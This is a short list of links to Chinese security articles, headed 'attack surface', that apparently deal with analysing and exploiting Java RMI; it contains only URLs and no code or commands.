https://xz.aliyun.com/t/9261

攻击面
https://paper.seebug.org/1091
https://su18.org/post/rmi-attack
https://goodapple.top/archives/520
https://goodapple.top/archives/321
https://myzxcg.com/2021/10/Java-RMI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8
https://www.anquanke.com/post/id/257452
https://xz.aliyun.com/t/7930
https://xz.aliyun.com/t/7932